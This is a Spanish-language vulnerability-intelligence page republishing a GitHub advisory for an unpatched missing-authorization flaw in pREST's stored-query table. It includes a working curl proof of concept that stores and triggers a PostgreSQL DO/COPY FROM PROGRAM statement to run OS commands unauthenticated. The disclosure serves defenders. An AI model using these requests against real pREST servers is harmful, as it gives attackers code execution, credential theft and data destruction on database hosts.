llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/prest/prest

GHSA-2X9Q-R7J9-G85F

Missing Authorization on the pREST Stored Query Control Plane Leads to Arbitrary SQL and OS Command Execution

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
9.0
Crítica
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición33 dDesde la divulgación, 18 oct 2026, 7:10 p. m.
Detección31 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
Yo que tú, revisaba los logs de anoche.Que no te agarre el lunes sin parchear.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
19 oct 26
19 nov 26
21 nov 26
19 oct 26
27 oct 26
4 nov 26
13 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-2X9Q-R7J9-G85F divulgada · CVSS 9 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

A missing authorization check (CWE-862) lets an unauthenticated attacker store arbitrary SQL in pREST and have pREST execute it. With the documented `queries.storage = "database"` mode, custom query bodies live in the `public.prest_queries` table and run when the matching `/_QUERIES` endpoint is called. No reserved-object list stops the generic table routes from writing that table, and at the shipped access-control defaults `TablePermissions` returns true for every table, so one POST stores the SQL and a second request runs it. The official container images connect as the PostgreSQL superuser, so a single permitted statement reaches the host. pREST already treats this as privileged: its `/_QUERIES/registry` interface requires authentication, a signing key and an administrator allow-list.

Details

`resolveScriptDatabase` returns the verb column verbatim as the script source, with no signature, allow-list or authorship check, and `created_by` is never read on the execution path. Nothing on the write side distinguishes a verb column from an application column:

// adapters/postgres/script_runner.go:85   stored text becomes the statement
return adapters.ScriptSource{Content: content.String}, nil
// adapters/postgres/postgres.go:1792      the only gate on the write route
if !restrict { return true }                  // every table, no identity consulted
// adapters/postgres/postgres.go:847       any identifier-shaped body key is a column
if !ident.IsValid(key) { return }             // write_sql satisfies this
// middlewares/query_stack.go:28           execution chain, empty at the defaults
requireAuth := qc.Restrict || cfg.AuthEnabled // both false by default

Both paths prepare the statement, so stacking and a bare `COPY ... FROM PROGRAM` are refused and exactly one utility statement is permitted, which makes `DO $$ ... $$` the primitive and leaves only the inner `COPY` needing superuser. The read verb is wrapped in `SELECT jsonb_agg(s) FROM (...) s`, so it carries no utility statement but still reaches `pg_read_file` and `pg_authid`.

Affected product: pREST (prest/prest), `prestd`, the generic table routes and `/_QUERIES/{location}/{script}`
Affected versions: verified on v2.4.2 and on `main` at `b84da9b48fc5`; the storage mode is documented from v2.2.0, so every release shipping it is believed affected where `queries.storage = "database"`

Proof of concept

With `queries.storage = "database"` and the shipped access-control defaults, no credentials are required:

$ curl -s -X POST http://target:3000/prest/public/prest_queries -H 'Content-Type: application/json' \
    -d '{"location":"rpt","name":"d","write_sql":"DO $$ BEGIN CREATE TABLE public.p(l text); EXECUTE $c$COPY public.p FROM PROGRAM '"'"'id'"'"'$c$; END $$"}'
HTTP/1.1 201 Created
$ curl -s -X POST http://target:3000/_QUERIES/rpt/d
{"rows_affected":0}
$ curl -s http://target:3000/prest/public/p
[{"l": "uid=999(postgres) gid=999(postgres) groups=999(postgres)"}]

The same statement sent as an ordinary column value is stored as text and never executed, proving the defect is the queries table and not the write access public mode grants by design.

Impact

Missing authorization (CWE-862) on a control-plane object, leading to code injection (CWE-94) and OS command injection (CWE-78). Under the superuser role both shipped compose files create, programs execute on the database host and their output returns over the same API, giving file read, credential theft and lateral movement (confidentiality, integrity: high); the stored row re-executes on every later call and can destroy data (availability: high). A non-superuser role is refused `COPY ... FROM PROGRAM`, `pg_read_file` and DDL, bounding impact to arbitrary SQL within its grants. `access.restrict` blocks new rows but not stored ones, and `queries.restrict` is bypassed by overwriting a permitted script.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/prest/prest≤ 2.5.1
v1.5.5
2.5.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/prest/prest
Sin parche — — v1.5.5 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/prest/prest/security/advisories/GHSA-2x9q-r7j9-g85f

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.